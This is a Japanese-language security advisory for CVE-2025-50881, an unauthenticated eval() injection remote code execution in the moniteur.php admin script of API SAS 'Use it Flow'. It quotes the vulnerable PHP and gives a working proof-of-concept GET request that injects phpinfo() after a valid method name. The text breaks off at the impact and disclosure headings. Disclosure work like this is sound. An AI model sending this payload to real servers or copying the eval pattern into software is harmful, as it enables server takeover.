
API SAS 使用フロー RCE
識別子: CVE-2025-50881
影響を受ける製品: API Use it Flow バージョン 8.2.0 (Rev 15851), バージョン 9.2.0 (Rev 18093)
開発元: https://www.tenorsolutions.com (旧 https://api-sas.fr/)
影響を受けるコンポーネント: flow/admin/moniteur.php
脆弱性の種類: eval() インジェクションによるリモートコード実行 (RCE)
深刻度: クリティカル
説明:
flow/admin/moniteur.php スクリプトはリモートコード実行に対して脆弱です。GET リクエストを処理する際、スクリプトは action URL パラメータからユーザー入力を取得し、不十分なバリデーションのみを行い、この入力を文字列 ($wscom) に組み込み、その後 eval() 関数で実行します。method_exists() チェックは行われますが、これはユーザー入力の最初の括弧 ( より前の部分のみを検証するため、攻撃者は有効なメソッド呼び出し構造の後に任意の PHP コードを追加できます。この脆弱性を悪用することで、認証されていない、または簡単に認証された攻撃者が、Web サーバープロセスの権限でサーバー上で任意の PHP コードを実行できます。
脆弱性のあるコードスニペット:
ファイル: flow/admin/moniteur.php
ユーザー入力の読み取り (約45行目):
if (isset($_GET['action'])) {$action=urldecode(htmlentities($_GET['action']));} else notice($server);
コメント: $action はユーザー入力 ($_GET['action']) から直接取得され、URL デコードと HTML エンティティエンコードのみが行われます。これではコードインジェクションを防げません。
コマンド文字列の構築 (約47行目):
$wscom='$ws->'.$action;
コメント: ユーザーが制御する $action が $wscom 文字列に連結されます。
不十分なバリデーション (約49行目):
$func=explode("(",$action);
if (method_exists($ws, $func[0])) {
コメント: $action の最初の括弧より前の部分のみが、UIFWebService クラスの有効なメソッドに対してチェックされます。
eval() によるコード実行 (約50行目):
eval('$res=' . $wscom . ';');
コメント: ユーザー入力を含む構築された文字列 $wscom が PHP コードとして実行されます。
悪用方法:
攻撃者は、任意の login および password パラメータ(これらは呼び出されたメソッド内での認証に使用されるものであり、eval 自体の認証ではない)と、悪意のある action パラメータを指定して、moniteur.php に GET リクエストを送信できます。action パラメータは、method_exists チェックを通過するために UIFWebService クラスの有効なメソッド名(例: get_data)で始まり、その後ろに注入された PHP コードが続く必要があります。
ペイロード例:
GET /admin/moniteur.php?login=foo&password=bar&action=get_data(1);phpinfo();$res=0; HTTP/1.1
Host: <target>
このペイロードにより、eval() は次のようなコードを実行します:
$res = $ws->get_data(1);phpinfo();$res=0;;
これにより get_data メソッドが実行され、次に phpinfo() が実行され、最後に $res が 0 に設定されます。
影響: 攻撃者はサーバー上で任意のコマンドを実行でき、以下のような結果を引き起こす可能性があります:
開示の経緯: